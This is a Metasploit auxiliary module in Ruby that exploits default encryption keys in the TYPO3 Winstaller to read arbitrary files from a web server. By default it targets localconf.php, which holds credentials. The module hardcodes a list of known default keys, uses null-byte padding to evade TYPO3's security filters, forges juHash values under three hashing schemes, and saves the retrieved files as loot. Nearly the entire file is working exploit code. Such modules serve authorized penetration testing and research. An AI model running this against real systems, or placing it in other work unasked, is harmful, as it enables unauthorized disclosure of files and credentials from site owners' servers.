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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
'Description' => %q{
This module exploits known default encryption keys found in the TYPO3 Winstaller.
This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be
used to read any file that the web server user account has access to view.
The method used to create the juhash (short MD5 hash) was altered in later versions
of Typo3. Use the show actions command to display and select the version of TYPO3 in
use (defaults to the older method of juhash creation).
},
'References' =>
[
['URL', 'http://typo3winstaller.sourceforge.net/'],
],
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Short_MD5',
{
'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
}
],
[ 'MIME',
{
'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
}
],
[ 'HMAC_SHA1',
{
'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
}
]
],
'DefaultAction' => 'Short_MD5'
)
register_options(
[
Opt::RPORT(8503),
OptString.new('URI', [true, "TYPO3 Path", "/"]),
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
OptString.new('ENC_KEY', [false, "Encryption key if known", '']),
], self.class)
end
def run
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte
jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
when /^\.\.(\/|\\)/i
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
else
jumpurl_len = (datastore['RFILE'].length)
jumpurl = "#{datastore['RFILE']}"
jumpurl_enc = "#{datastore['RFILE']}"
end
case action.name
when 'Short_MD5'
print_status("Performing downloading using Short_MD5 style juHash creation - see show actions for more details")
when 'MIME'
print_status("Performing downloading using MIME style juHash creation - see show actions for more details")
when 'HMAC_SHA1'
print_status("Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details")
end
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
if datastore['ENC_KEY'] != ''
encryption_keys = [datastore['ENC_KEY']]
print_status("Using provided Encryption Key")
else
print_status("Rotating through known encryption keys")
encryption_keys = [
# TYPO3 4.3.x - 4.4.x
'd696ab49a803d7816021cb1768a6917d',
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
# TYPO3 4.4.7+
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
# TYPO3 4.5.0
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
# TYPO3 4.5.2
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
# TYPO3 4.5.3
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
# TYPO3 4.5.4 - 4.5.7
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
]
end
counter = 0
encryption_keys.each do |enc_key|
counter = counter +1
locationData = Rex::Text::rand_text_numeric(1) +'::'+ Rex::Text::rand_text_numeric(2)
case action.name
when 'Short_MD5'
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
when 'MIME'
juarray = "a:4:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
when 'HMAC_SHA1'
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
juarray << "s:0:\"\";}"
juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
end
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
file_uri = file_uri.sub("//", "/") # Prevent double // from appearing in uri
vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")
begin
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
},25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
return
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
end
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
print_error("File #{datastore['RFILE']} is not accessible.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
print_good("Discovered encryption key : #{enc_key}")
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Discovered encryption key : #{enc_key}")
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_winstaller")
return
else
if datastore['ENC_KEY'] != ""
print_error("Encryption Key specified is not correct")
return
end
end
end
print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
print_error("Maybe try checking the ACTIONS - Currently using #{action.name}")
end
end
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